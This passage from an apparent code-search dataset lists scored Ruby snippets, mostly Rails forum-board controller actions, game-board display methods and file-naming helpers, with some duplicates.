\t@topic.board = @board\n \t@comments = @topic.comments\n \t@users = @topic.votes.up.by_type(User).voters\n \t@topic.keyword_list = @topic.keyword_list[0..4]\n end", "title": "" }, { "docid": "d0d3fffe954eea44bf0a32ad97cc8a97", "score": "0.5865236", "text": "def get_board\n @board_array\n end", "title": "" }, { "docid": "0e55e82c184654824a5be65c0e5a0b69", "score": "0.58441454", "text": "def screen; end", "title": "" }, { "docid": "b6653bf3d4b2b294f2051bfe3daf23ee", "score": "0.58228385", "text": "def board_visualization\n #iterate through each \"lane\" and column to visually show vertical grid of the board\n @board.map do |player, location|\n location.join('|')\n end\n end", "title": "" }, { "docid": "55f08ff34faec94b9e0d8bfb0f327e1e", "score": "0.58223325", "text": "def show\n boards = Roxiware::Forum::Board.ordered().visible(current_user)\n boards.each do |board|\n @next_board = board if @board.present?\n break if @board.present?\n @board = board if params[:id] == board.seo_index\n @prev_board = board unless @board.present?\n end\n raise ActiveRecord::RecordNotFound if @board.nil?\n authorize! :read, @board\n @unread_post_counts = {}\n\n # get the topic last read info. @unread_post_counts will end up with\n # the number of unread posts for each topic, if the topic has ever been read\n if @reader.present?\n board_reader_info = @board.reader_infos.where(:reader_id=>@reader.id).first\n base_date = board_reader_info.last_read if board_reader_info.present?\n base_date ||= DateTime.new(0)\n unread_post_query = @board.topics.\n joins(\"LEFT JOIN reader_comment_object_infos on forum_topics.id = reader_comment_object_infos.comment_object_id AND reader_comment_object_infos.comment_object_type='Roxiware::Forum::Topic' AND reader_comment_object_infos.reader_id=#{@reader.id || 0}\").\n joins(\"LEFT JOIN comments ON comments.post_id=forum_topics.id AND comments.post_type='Roxiware::Forum::Topic'\").\n where(\"comments.comment_status='publish'\").\n where(\"comments.comment_date > ?\", base_date.to_formatted_s(:db)).\n where(\"reader_comment_object_infos.id IS NULL OR comments.comment_date > reader_comment_object_infos.last_read\").\n group(\"forum_topics.id\").select(\"forum_topics.id, COUNT(comments.id) as num_new_posts, reader_comment_object_infos.id as reader_info_id, forum_topics.comment_count\")\n\n # unread_post_query will list posts that haven't been read at all, but won't list any that have been fully read.\n @unread_post_counts = Hash[unread_post_query.collect{|topic| [topic.id, topic.num_new_posts]}]\n else\n topics_last_read = {}\n (params[:last_read] || {}).each do |topic_id, topic_last_read|\n begin\n topics_last_read[topic_id.to_i] = Time.at(topic_last_read.to_i).to_datetime\n rescue Exception=>e\n end\n end\n comments = Roxiware::Comment.joins(\"INNER JOIN forum_topics on comments.post_id=forum_topics.id AND comments.post_type='Roxiware::Forum::Topic'\").\n where(\"forum_topics.board_id=?\", @board.id).\n where(\"comments.id IS NOT NULL\").\n select(\"comments.comment_date, comments.post_id\")\n comments.each do |comment|\n unread_date = (topics_last_read[0] || DateTime.new(0))\n unread_date = topics_last_read[comment.post_id] if topics_last_read.include?(comment.post_id) && (topics_last_read[comment.post_id] > unread_date)\n if (unread_date < comment.comment_date)\n @unread_post_counts[comment.post_id] ||= 0\n @unread_post_counts[comment.post_id] += 1\n end\n end\n end\n\n respond_to do |format|\n format.html do\n @topics = _topics_sort(@board).includes({:root_post=>:comment_author, :last_post=>:comment_author})\n render\n end\n format.json do\n topic_info=@board.topics.select([:id, :comment_count, :pending_comment_count]).collect do |topic|\n [topic.id,\n @unread_post_counts.include?(topic.id) ?\n {:num_posts=>topic.post_count, :num_new_posts=>[topic.post_count, @unread_post_counts[topic.id]].min, :changed=>(@unread_post_counts[topic.id] > 0)} :\n {:num_posts=>topic.post_count, :num_new_posts=>0, :changed=>false}]\n end\n render :json=>Hash[topic_info]\n end\n end\n end", "title": "" }, { "docid": "3d208c979fa60b3c3e5297e48e1a5cff", "score": "0.58194983", "text": "def view_board\n\t\ti = 0\n\t\t8.times do \n\t\t\t8.times do \n\t\t\t\tprint \"L:#{(@board[i].label).to_s.ljust(1)} \" \n\t\t\t\tprint \"I:#{(@board[i].index).to_s.ljust(2)} \"\n\t\t\t\tprint \"P:#{(@board[i].position).to_s.ljust(2)} | \"\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\tputs\n\t\tend\n\tend", "title": "" }, { "docid": "34c94cda6df1309c8f03a093d02ec470", "score": "0.5818959", "text": "def board\n @board_string\n end", "title": "" }, { "docid": "ce8863772bc5f0a9ea9b6690af198000", "score": "0.58162934", "text": "def display_board\n print @board\n @board\nend", "title": "" }, { "docid": "9f05cea1ef01c57cdbdb90cd4c398182", "score": "0.58046514", "text": "def visibilities; end", "title": "" }, { "docid": "66f94bd5a6c5188ec28beefe475fee58", "score": "0.5803619", "text": "def primary_board\n launch_board(@matrice)\n end", "title": "" }, { "docid": "e1c822f1f0390c7a6b76e56725e9f3ae", "score": "0.5799696", "text": "def index\n @boards = image_board.boards.all\n end", "title": "" }, { "docid": "84934e61689121ac2a99b50779fcdf2a", "score": "0.57993215", "text": "def show_game_board\n puts show_board(@game_board)\n puts\n end", "title": "" }, { "docid": "71f8009010e9d4723959b1c905d44e4f", "score": "0.5798752", "text": "def render_board\n puts\n @board.each do |arr|\n p arr\n end\n puts\n end", "title": "" }, { "docid": "f8bb2494128427169a09eba3df2d5241", "score": "0.57949936", "text": "def displayed?; end", "title": "" }, { "docid": "f088ff4260d8a9175389e65778122528", "score": "0.5785524", "text": "def print_board\n\t\t@game_board.print_board\n\tend", "title": "" }, { "docid": "f088ff4260d8a9175389e65778122528", "score": "0.5785524", "text": "def print_board\n\t\t@game_board.print_board\n\tend", "title": "" }, { "docid": "0e07231f1c404c2bcdeac63cb7334343", "score": "0.578178", "text": "def show\n @board = Board.find(params[:id])\n @actions = [{Board.human_attribute_name(:index) => boards_path}, @board]\n @actions = [@board]\n order = params[:order].blank? ? 'displayorder DESC, id DESC' : params[:order]\n \n \n @topics = @board.topics.page(params[:page]).order(order)\n @topic = Topic.new #快速发帖\n @topic.category_id = @board.id\n @topic.category_type = :board\n @topic.posts.build.attachments.build\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => params[:page] && !params[:page].empty? ? @topics : @board}\n end\n end", "title": "" }, { "docid": "ad5d61f612e2ca7094b6e38e9c283063", "score": "0.57719344", "text": "def board_status\n adjust_board_state\nend", "title": "" }, { "docid": "8ec8a2a78fa8bfdd26cb86f36fef1b3e", "score": "0.57686263", "text": "def show_boards\n\n @type = params[:type] || 'pcb'\n @type2 = @type==\"pcb\"?\"pcba\":\"pcb\"\n \n flash['notice'] = ''\n unique_part_numbers = PartNum.get_unique_part_numbers(@type)\n\n @columns = 8\n @rows = (unique_part_numbers.size) / @columns\n @rows += 1 if unique_part_numbers.size.remainder(@columns) > 0\n\n @part_numbers = []\n 0.upto(@rows-1) { |row| @part_numbers[row] = [] }\n\n # Convert the information into a structure that can easily be displayed\n # in a table.\n col = 0\n row = 0\n unique_part_numbers.each_with_index do |element, i|\n\n @part_numbers[row][col] = element.number\n\n row += 1\n if row == @rows\n row = 0\n col += 1\n end\n \n end\n\n end", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.57609767", "text": "def details; end", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.57609767", "text": "def details; end", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.57607985", "text": "def details; end", "title": "" }, { "docid": "2f637e8a23246361c1901c048638145c", "score": "0.5759441", "text": "def index\n # grab the board groups. View will use the 'boards' off of the board group to list the boards\n @forum_board_groups = Roxiware::Forum::BoardGroup.includes(:boards).order(:display_order)\n @changed_topic_count = {}\n topic_query = Roxiware::Forum::Topic.visible(current_user)\n @topics = Hash[topic_query.collect{|topic| [topic.id, topic]}]\n if @reader.present?\n boards_last_read = Hash[Roxiware::ReaderCommentObjectInfo.where(:reader_id=>@reader.id, :comment_object_type=>\"Roxiware::Forum::Board\").collect{|reader_info| [reader_info.comment_object_id, reader_info.last_read]}]\n reader_forum_topics_join = Roxiware::ReaderCommentObjectInfo.joins(\"INNER JOIN forum_topics on forum_topics.id = reader_comment_object_infos.comment_object_id\")\n topics_readers = reader_forum_topics_join.where(\"reader_comment_object_infos.reader_id=? AND reader_comment_object_infos.comment_object_type='Roxiware::Forum::Topic'\",\n @reader.id)\n topics_last_read = Hash[topics_readers.select(:last_read, :comment_object_id).collect{|reader_info| [reader_info.comment_object_id, reader_info.last_read]}]\n\n @topics.each do |topic_id, topic|\n @changed_topic_count[topic.board_id] ||= 0\n last_read = DateTime.new(0)\n last_read = topics_last_read[topic.id] if topics_last_read[topic.id].present?\n last_read = boards_last_read[topic.board_id] if (boards_last_read[topic.board_id] || DateTime.new(0)) > last_read\n @changed_topic_count[topic.board_id] += 1 if (last_read < topic.last_post_date)\n end\n elsif params[\"last_read\"].present?\n # for each board, get a count of topics that are new\n @topics.each do |topic_id, topic|\n @changed_topic_count[topic.board_id] ||= 0\n @changed_topic_count[topic.board_id] += 1 if params[:last_read][topic.board_id.to_s].blank?\n # this will also 'next' if the board hasn't been found.\n next unless params[:last_read][topic.board_id.to_s].is_a?(Hash)\n\n # determine if there's a general last read date for the forum\n last_read = Time.at((params[:last_read][topic.board_id.to_s][\"0\"] || \"0\").to_i).to_datetime\n\n # also get the last read time for the topic\n topic_last_read = Time.at((params[:last_read][topic.board_id.to_s][topic_id.to_s] || \"0\").to_i).to_datetime\n\n # if the latest topic last_read is greater than the general one, use it\n topic_last_read = last_read if last_read > topic_last_read\n @changed_topic_count[topic.board_id] += 1 if topic_last_read < topic.last_post_date\n end\n else\n @topics.each do |topic_id, topic|\n @changed_topic_count[topic.board_id] ||= 0\n @changed_topic_count[topic.board_id] += 1\n end\n end\n\n respond_to do |format|\n format.html\n format.json do\n forum_board_info = {}\n @forum_board_groups.each do |board_group|\n board_group.boards.each do |board|\n forum_board_info[board.id] = board.ajax_attrs(@role)\n forum_board_info[board.id][\"new_topics\"] = @changed_topic_count[board.id] || 0\n end\n end\n render :json=>forum_board_info\n end\n end\n end", "title": "" }, { "docid": "e6fa22bf6a8423b4bccf22010420c902", "score": "0.5757418", "text": "def show_board\n puts \"\\n#{@board.to_s}\"\n end", "title": "" }, { "docid": "c85e3e0eb81e03c68162c408e0720d26", "score": "0.5753314", "text": "def render\n @board.each do |row|\n row.each do |el|\n print \"#{el.display} \"\n end\n print \"\\n\"\n end; nil\n\n end", "title": "" }, { "docid": "792fc98d21661116598bd2c65bae4b51", "score": "0.5749627", "text": "def display_board\n display_2d_array @board\n end", "title": "" }, { "docid": "c5877120e72fba340e814c5001debf3a", "score": "0.57419753", "text": "def id_string\n return \"board_\"+self.name\n end", "title": "" }, { "docid": "bd40fff6f1d36c4190d8a106da36c1ea", "score": "0.57346094", "text": "def create_boards\n @leftscreen.setpos(4,10) \n @letters.each do |i|\n @leftscreen << i + \" \"\n end\n @numbers.each.with_index do |item, x|\n @leftscreen.setpos(5+x,8)\n @leftscreen << item\n end\n\n @rightscreen.setpos(4,10)\n @letters.each do |items|\n @rightscreen << items + \" \"\n end\n @numbers.each.with_index do |item, i|\n @rightscreen.setpos(5+i,8)\n @rightscreen << item \n end\n end", "title": "" }, { "docid": "f8a6e1575fb9895081ed34da6ba86d4e", "score": "0.57304275", "text": "def display_board\n print_board @piece_locations\n end", "title": "" }, { "docid": "c473a1938f97b19ca801e911436cc59b", "score": "0.57280886", "text": "def boards\n @boards ||= boards_upto_current_move\n end", "title": "" }, { "docid": "2c8c76ab24fde506f821ddec951e4127", "score": "0.5728061", "text": "def board \t\n \t@board_arr.each do |x|\n \t\tp x\n \tend\n end", "title": "" }, { "docid": "dc389785185dc92c567a4b501ca7b5e1", "score": "0.57241696", "text": "def boards\n @boards = Board.find(:all)\n end", "title": "" }, { "docid": "03f55e7526529045e8e36e96006fa144", "score": "0.5721636", "text": "def print_board\n pp @bingo_board\n\n end", "title": "" }, { "docid": "e66e36b27afa5a0905df3251ec42dc8d", "score": "0.5714332", "text": "def show\n @board = Board.find(@application.board_id)\n @interactions = @application.interactions.order(date: :desc)\n end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.5706932", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.5706932", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.5706932", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.5706932", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.5706932", "text": "def detail; end", "title": "" }, { "docid": "e6e2ec09fb529a001ed460a494046d74", "score": "0.5703936", "text": "def display_board\n board = @board.grid.inject([]) do |board_rows, row| \n board_rows + board_row(row)\n end\n\n board.pop \n board.join(\"\\n\")\n end", "title": "" }, { "docid": "9231ff9d642fc2ff89dec1504ee3ebe9", "score": "0.5691658", "text": "def screen\n end", "title": "" }, { "docid": "16c478d6d2a8ecd93256cf55bd91bb63", "score": "0.56897026", "text": "def display_board\n\t\t@board_state.each_with_index do |val, index|\n\t\t\tif [0,3,6].include?(index) \n\t\t\t\tprint @board_state[index] + ' | ' \n\t\t\tend\n\t\t\tif [1,4,7].include?(index)\n\t\t\t\tprint @board_state[index] + ' | '\n\t\t\tend\n\t\t\tif [2,5,8].include?(index)\n\t\t\t\tprint @board_state[index] + \"\\n\"\t\t\t\t\n\t\t\tend\n\t\t\tif [2,5].include?(index)\n\t\t\t\tputs '----------'\n\t\t\tend\n\t\tend\t\t\n\tend", "title": "" }, { "docid": "ce98defe2eb214d011449863f1565468", "score": "0.568889", "text": "def game_board\n current_game.board\n end", "title": "" }, { "docid": "2d60b43fc94144dec6c554d8da0032bd", "score": "0.5688139", "text": "def show_board\n\t\t\ttop_left, top, top_separator, top_right, side, left_plus, right_plus, plus, bottom_left, bottom_separator, bottom_right = \"\\u250c\", \"\\u2500\", \"\\u252c\", \"\\u2510\", \"\\u2502\", \"\\u251c\", \"\\u2524\", \"\\u253c\", \"\\u2514\", \"\\u2534\", \"\\u2518\"\n\n\t\t\ttop_row = top_left + (top*3 + top_separator)*7 + top*3 + top_right\n\t\t\tspacer_row = left_plus + (top*3 + plus)*7 + top*3 + right_plus\n\t\t\tbottom_row = bottom_left + (top*3 + bottom_separator)*7 + top*3 + bottom_right\n\n\t\t\tbody_rows = []\n\t\t\t8.times do |y|\n\t\t\t\tbody_rows[y] = []\n\t\t\t\tbody_rows[y] = \"#{y + 1} \" + side + \n\t\t\t\t\t(@board[y][0].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][1].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][2].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][3].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][4].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][5].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][6].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][7].chess_piece).to_s.center(3) + side \n\t\t\tend\n\n\t\t\t# Return final board\n\t\t\t[\" \", \" a b c d e f g h\", \" \" + top_row, body_rows[7], \" \" + spacer_row, body_rows[6], \" \" + spacer_row, body_rows[5], \" \" + spacer_row, body_rows[4], \" \" + spacer_row, body_rows[3], \" \" + spacer_row, body_rows[2], \" \" + spacer_row, body_rows[1], \" \" + spacer_row, body_rows[0], \" \" + bottom_row ]\n\t\tend", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.5688102", "text": "def show() end", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.5688102", "text": "def show() end", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.5688102", "text": "def show() end", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.5688102", "text": "def show() end", "title": "" }, { "docid": "58975979c8b6f5ce4227d6eb0f7917cb", "score": "0.56847507", "text": "def show\n #grabs all the current user's groups' bulletin_boards\n @bids = current_user.groups.collect(&:bulletin_board_id)\n\n #only display the boards that the user should have access to\n if current_user.bulletin_board == @bulletin_board || @bids.grep(@bulletin_board.id).any?\n @ptypeios = @bulletin_board.typeio #used to extract pinned posts\n @typeios = @bulletin_board.typeio #used for all regular posts\n\n #otherwise take user to their personal bulletin board!\n else\n redirect_to current_user.bulletin_board\n flash[:notice] = \"You do not have access to that bulletin board\"\n end\n end", "title": "" }, { "docid": "a0ac34f7f3811dbb30bd002420e5d6b1", "score": "0.56750125", "text": "def pretty_board(board)\nend", "title": "" }, { "docid": "a0ac34f7f3811dbb30bd002420e5d6b1", "score": "0.56750125", "text": "def pretty_board(board)\nend", "title": "" }, { "docid": "a0ac34f7f3811dbb30bd002420e5d6b1", "score": "0.56750125", "text": "def pretty_board(board)\nend", "title": "" }, { "docid": "a0ac34f7f3811dbb30bd002420e5d6b1", "score": "0.56750125", "text": "def pretty_board(board)\nend", "title": "" }, { "docid": "a0ac34f7f3811dbb30bd002420e5d6b1", "score": "0.56750125", "text": "def pretty_board(board)\nend", "title": "" }, { "docid": "c7732b8d1fb3f1a3f89bc08a581c627f", "score": "0.5674802", "text": "def index\n @boards = Board.all\n end", "title": "" }, { "docid": "c7732b8d1fb3f1a3f89bc08a581c627f", "score": "0.5674802", "text": "def index\n @boards = Board.all\n end", "title": "" }, { "docid": "c7732b8d1fb3f1a3f89bc08a581c627f", "score": "0.5674802", "text": "def index\n @boards = Board.all\n end", "title": "" }, { "docid": "a7701f39f3a9de3242185f4f6f7e23a5", "score": "0.56734484", "text": "def board\n @board = true\n end", "title": "" }, { "docid": "a7701f39f3a9de3242185f4f6f7e23a5", "score": "0.56734484", "text": "def board\n @board = true\n end", "title": "" }, { "docid": "a7701f39f3a9de3242185f4f6f7e23a5", "score": "0.56734484", "text": "def board\n @board = true\n end", "title": "" }, { "docid": "46681299028112e2b7823c1541ca34f1", "score": "0.56561494", "text": "def show\n redirect_to boards_path\n end", "title": "" }, { "docid": "b07d552b4bcb444323a41af90268de5f", "score": "0.56556296", "text": "def show\n \t\tsuper\n \tend", "title": "" }, { "docid": "3907bafb2ce3d519b1d929dc36e89f9f", "score": "0.56550354", "text": "def index\n @boards = Board.all\n\t\t@categories = Category.all\n end", "title": "" }, { "docid": "cc63f0b8569dad0434b4b0749d28fe33", "score": "0.5651247", "text": "def displays=(_arg0); end", "title": "" }, { "docid": "b2bdcea0534c404c5cfec7cf7d86143c", "score": "0.5645422", "text": "def show\n \n end", "title": "" }, { "docid": "5fbaade9f492fcf28472b79cbfffc246", "score": "0.56380886", "text": "def show\n #not needed for our implementation\n end", "title": "" }, { "docid": "5fbaade9f492fcf28472b79cbfffc246", "score": "0.56380886", "text": "def show\n #not needed for our implementation\n end", "title": "" } ]
7ade82a506ee4043072445e571635efb
Generate path to file. Redefine this method if you want another naming logic.
[ { "docid": "0ebc091f9853b4d9dcf17e0b02a1a29c", "score": "0.7295533", "text": "def file_path\n \"#{Time.now.to_f}.#{filename}\"\n end", "title": "" } ]
[ { "docid": "dd6f321ebd7a3c5ec5cf28f088bd940f", "score": "0.7332844", "text": "def new_file name\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{name}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end", "title": "" }, { "docid": "23b0cc9a560bd39a6867991dedc48f33", "score": "0.72474676", "text": "def filename\n path.split(File::Separator).join(\"_\")\n end", "title": "" }, { "docid": "f74a5556a0350fbe4cf2f6170e706b64", "score": "0.72136706", "text": "def filename\n return @filename unless @filename.nil?\n generate_file_name()\n @filename\n end", "title": "" }, { "docid": "77ec29d858c4c0d9483b1b133b7c3fde", "score": "0.7169957", "text": "def generate_file_name\n file_name = attachment.instance_read(:file_name).slugged_filename\n attachment.instance_write :file_name, file_name\n end", "title": "" }, { "docid": "ee736b92a37edf5936e7264997926f48", "score": "0.7168679", "text": "def filepath(filename)\n path = Pathname.new(\"#{filename}.#{@format}\")\n if @dir\n Dir.mkdir(@dir) unless Dir.exist?(@dir)\n path = Pathname.new(@dir) + path\n end\n\n path.to_s\n end", "title": "" }, { "docid": "5c4aaafa47473b87d5fc8f8bd5725a2e", "score": "0.71541214", "text": "def file_path\n dir_name + file_name\n end", "title": "" }, { "docid": "678af283e279e253a133157c82dac292", "score": "0.7145323", "text": "def path\n File.join(@base, @name)\n end", "title": "" }, { "docid": "16bbc951f98da27ce4a3a4ed980aeaf0", "score": "0.71331143", "text": "def file_name_with_path\n root_path.dup + file_name\n end", "title": "" }, { "docid": "6e3132f72e2771af3285eda7a1fc3a4e", "score": "0.7128862", "text": "def gen_filename\n name = @issue[\"created\"].strftime(\"%Y-%m-%d-\") + \n @issue[\"title\"].gsub(/\\W+/, \"_\") +\n \".yaml\"\n n = 1\n while File.exist?(File.join(@dir, name))\n name = File.basename(name, \".yaml\") + \"-\" + n.to_s + \".yaml\"\n n += 1\n end\n\n name\n end", "title": "" }, { "docid": "c7cb0f33242ecfe9a2fcb764b856eb28", "score": "0.712703", "text": "def path\n File.join(@base, @name)\n end", "title": "" }, { "docid": "8b850c8c73fc774516923589c958e28b", "score": "0.7121019", "text": "def generated_file_name(*args)\n return args.first.to_param.to_s\n end", "title": "" }, { "docid": "ad29537ce152667a174951c60a9efde2", "score": "0.7078208", "text": "def path(name)\n File.join(@output_dir, name)\n end", "title": "" }, { "docid": "c85e5e7d42a45ad5d0dd5a52919986b8", "score": "0.7039592", "text": "def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend", "title": "" }, { "docid": "e31ff0c9c6d791f0ea3154b0d9cbabc6", "score": "0.7008232", "text": "def path\n name + extension\n end", "title": "" }, { "docid": "2b3dff9c3ca0bd0c57089583fc5f2f68", "score": "0.7001989", "text": "def generate_unique_filename\n name = options[:file_name] || wrapper.name\n # TODO: Sanitize the file name\n\n filename = \"#{name}.swatches\"\n\n related_files = related_file_indexes(filename)\n\n filename = if related_files.present?\n \"#{name}-#{related_files.max + 1}#{SWATCHES_EXTENSION}\"\n else\n \"#{name}#{SWATCHES_EXTENSION}\"\n end\n\n @swatches_path = File.join(options[:export_directory], filename)\n end", "title": "" }, { "docid": "f3c47ae68d17be7dec74587986dabb34", "score": "0.69986993", "text": "def create_file_name(ext = nil)\n ext ||= self.ext\n return name unless ext\n \"#{unique_key}.#{ext}\"\n end", "title": "" }, { "docid": "33bbf03bd08f92911c62fc38831ac470", "score": "0.6978221", "text": "def generate_filename \n last_file = Dir[@path + '/*.ind'].sort.last\n if last_file.nil?\n file_name = @path + '/ind0.ind'\n else\n number = File.basename(last_file).match(/[0-9]+/)[0].to_i\n # we have to match the complete name, because there can be\n # numbers before the file too\n file_name = last_file.gsub(\n /ind#{number}\\.ind/,\n \"ind#{(number + 1)}.ind\"\n )\n end\n file_name\n end", "title": "" }, { "docid": "61a4a496d8eea743db9a250ae35ce60c", "score": "0.69744533", "text": "def file_name\n \"#{@file_name}.#{extension}\"\n end", "title": "" }, { "docid": "d86855a6956ecb77428024f31c95ba3d", "score": "0.6966189", "text": "def generate_path file_name, scope = \"video\"\n generator = CONFIG[:\"#{scope}_path_generator\"]\n begin\n generator = instance_exec(file_name, &generator).to_s if generator.is_a? Proc\n rescue => e\n generator = nil\n raise ConfigError, \"Path generator error: (#{e})\"\n end\n\n storage = CONFIG[:\"#{scope}_storage\"].to_s\n storage += \"/\" unless storage.empty?\n storage += generator || \"\"\n\n path = (!storage || storage.empty? ? CONFIG[:PWD] : storage).to_s.strip.gsub(%r#/+#, '/').gsub(%r#/$#, '')\n\n # generate path\n begin\n FileUtils.mkdir_p path, :mode => 0755\n rescue => e\n raise FileError, \"Path generator error: #{e}\"\n end unless File.exists?(path)\n path\n end", "title": "" }, { "docid": "d3e5b413e738ac37bee48d8ff7d97df0", "score": "0.6943294", "text": "def file_name\n ts = @entries.first.time_stamp\n File.join(@coord.options.output_dir,\n ts.strftime('%Y-%m-%d'),\n ts.strftime('%H-%M'),\n ts.strftime('%S.%3N-') + id)\n end", "title": "" }, { "docid": "4f75ce2081553278ea10252b5bd103f6", "score": "0.694309", "text": "def path\n @new_filename || @filename\n end", "title": "" }, { "docid": "2ee5aeba58eec99f13bbaa1a8a75a048", "score": "0.6940724", "text": "def filename_for(diagram, name_option)\n base_name = diagram_base_name(diagram, name_option)\n if @diagram_base_names.include?(base_name)\n idx = 2\n idx += 1 while @diagram_base_names.include?(base_name + \" - #{idx}\")\n base_name += \" - #{idx}\"\n end\n base_name\n end", "title": "" }, { "docid": "aba000288bbc20bf1142c067088aa448", "score": "0.6913961", "text": "def path\n \"%s/%s\" % [dirname, filename]\n end", "title": "" }, { "docid": "1dc32c97b6ecdfc47567efc8dd3c4c08", "score": "0.6901515", "text": "def path_for original\n current_output_directory.join(file_time_by_filepath(original).strftime(settings[:ordered_time_pattern])).join(original.basename)\n end", "title": "" }, { "docid": "f5a9f960966a9187ec0c6a8533f69d69", "score": "0.6895375", "text": "def path()\n return ::File.join(@root, @name)\n end", "title": "" }, { "docid": "fce609ecd8bb8cc2a081f0f1fbab80b7", "score": "0.68897855", "text": "def genfilename(ext, time = Time.now)\n time.strftime(\"%Y-%m-%d\") + ext\n end", "title": "" }, { "docid": "15c69db6412fde12f8f96a822fe6b411", "score": "0.6880349", "text": "def build_path(parent_path)\n return name if (not parent_path) || parent_path.empty?\n parent_path + ::File::SEPARATOR + name\n end", "title": "" }, { "docid": "aab1274f74f61a53f92df7c09b7d4524", "score": "0.68680686", "text": "def getfilename()\n current_time = Time.new.strftime(\"%Y-%m-%d\")\n \n # Create filename\n filename = current_time + \"_sprint_update_CS.html\"\n\n # Create folder with all file of sprint update\n foldername = \"History\"\n Dir.mkdir(foldername) unless File.exists?(foldername)\n\n return File.join(\".\", foldername, filename)\nend", "title": "" }, { "docid": "9f869b392ed59a48b5d4385444986c72", "score": "0.6854228", "text": "def generates_path\n return File.join(\"./medias\", self.created_at.year.to_s,\n self.created_at.month.to_s, self.file_name)\n end", "title": "" }, { "docid": "165ec4e21c80d6a24b7d575ecff121df", "score": "0.684846", "text": "def file_name\n name.underscore\n end", "title": "" }, { "docid": "938eea5159dc6b8291ee7076e493c6ec", "score": "0.6842839", "text": "def path\n @path ||= Pathname.new(dir) + filename\n end", "title": "" }, { "docid": "65d7c44fc598e1ddef6bdb359ede7e46", "score": "0.6837111", "text": "def make_file_name yr, qtr, mth, wk\n name = 'Booking_Summary'\n if yr\n name = \"#{name}_#{yr}\"\n elsif qtr\n name = \"#{name}_#{qtr}\"\n elsif mth\n name = \"#{name}_#{mth}\"\n elsif wk\n name = \"#{name}_#{wk}\"\n else\n raise \"[Error]: Could not generate a file name\"\n end\n name = \"#{name}.xlsx\"\n name\n end", "title": "" }, { "docid": "3141438bec0398a955613ab6199fa99e", "score": "0.6817661", "text": "def make_filename(file_index)\n return SAVE_PATH + SAVE_FILE_NAME.gsub(/\\{ID\\}/i) { (file_index + 1).to_s }\n end", "title": "" }, { "docid": "632560d7918a38a5dc904956a21bbb40", "score": "0.68120104", "text": "def file_path\n File.join(dir,filename)\n end", "title": "" }, { "docid": "459cca6f2fab160ca7df7c97bc66bdb0", "score": "0.6808493", "text": "def filename\n \"#{folder_id}#{File.extname(super)}\"\n end", "title": "" }, { "docid": "1c72e8eebce9feab3173da90b95256f0", "score": "0.67849267", "text": "def file_name\n # file = full_name\n # file = file.gsub('::', '/')\n # file = file.gsub('#' , '/')\n # file = file.gsub('.' , '-')\n # #file = File.join(output, file + '.html')\n # file\n WebRI.entry_to_path(full_name)\n end", "title": "" }, { "docid": "dbf0a4ea3964b59406f186aa211275cf", "score": "0.6780652", "text": "def filename\n @name ||= ActiveSupport::SecureRandom.hex\n\t\"#{@name}#{File.extname(original_filename).downcase}\" if original_filename\n end", "title": "" }, { "docid": "38c767b225a41d640e8fa2a3718ec2dd", "score": "0.67785805", "text": "def file_name\n file_name = \"h\"\n write_zeros.times { file_name += \"0\" }\n file_name += @@count.to_s + \".txt\"\n end", "title": "" }, { "docid": "8a69bc9d4fa80290e644e0fa9a1d7cf5", "score": "0.67767835", "text": "def file_name\n file_name = (\"./tmp/database_doings/doing_uniques/uniques_done.txt\")\n end", "title": "" }, { "docid": "ec40bd9bf284f18fb8bb711901aff61d", "score": "0.67716396", "text": "def create_filename_for_metric(file)\n return file unless defined?(::Sinatra) && defined?(::Sinatra::Base)\n\n file.split('/')[-2..-1].join('/')\n rescue NoMethodError\n file\n end", "title": "" }, { "docid": "8e0d49dc3d5cef3384fa4787c1b36f57", "score": "0.67711604", "text": "def make_path inOut, name=''\r\n return @options[inOut] + '/' + name\r\n end", "title": "" }, { "docid": "b6e37c86e0bb26eb73835b32729b4ecc", "score": "0.67624336", "text": "def file_name\n \"/\" + current_file.path.split('/').pop\n end", "title": "" }, { "docid": "8ad6de466cacef80570c14a44399fc8d", "score": "0.6759159", "text": "def build_filename\n \"%s/%s_%06d.json\" % [dir, prefix, index]\n end", "title": "" }, { "docid": "9b8fdb51e2221acf8dc0f838368f9a29", "score": "0.6755398", "text": "def file name\n \n end", "title": "" }, { "docid": "9bb0dbf228f47e6efd05552264e0bc42", "score": "0.6753574", "text": "def path\n unless @selected_filename.nil? || @selected_filename.empty?\n return File.join(@base_dir, @name, @selected_filename)\n end\n ''\n end", "title": "" }, { "docid": "241c7a65f2c49555c27024a237eea427", "score": "0.67344123", "text": "def filename\n current_time = Time.new\n formatted_current_time = current_time.strftime(\"%Y%m%d_%H%M%S\")\n formatted_current_time + \"_\" + original_filename\n end", "title": "" }, { "docid": "241c7a65f2c49555c27024a237eea427", "score": "0.67344123", "text": "def filename\n current_time = Time.new\n formatted_current_time = 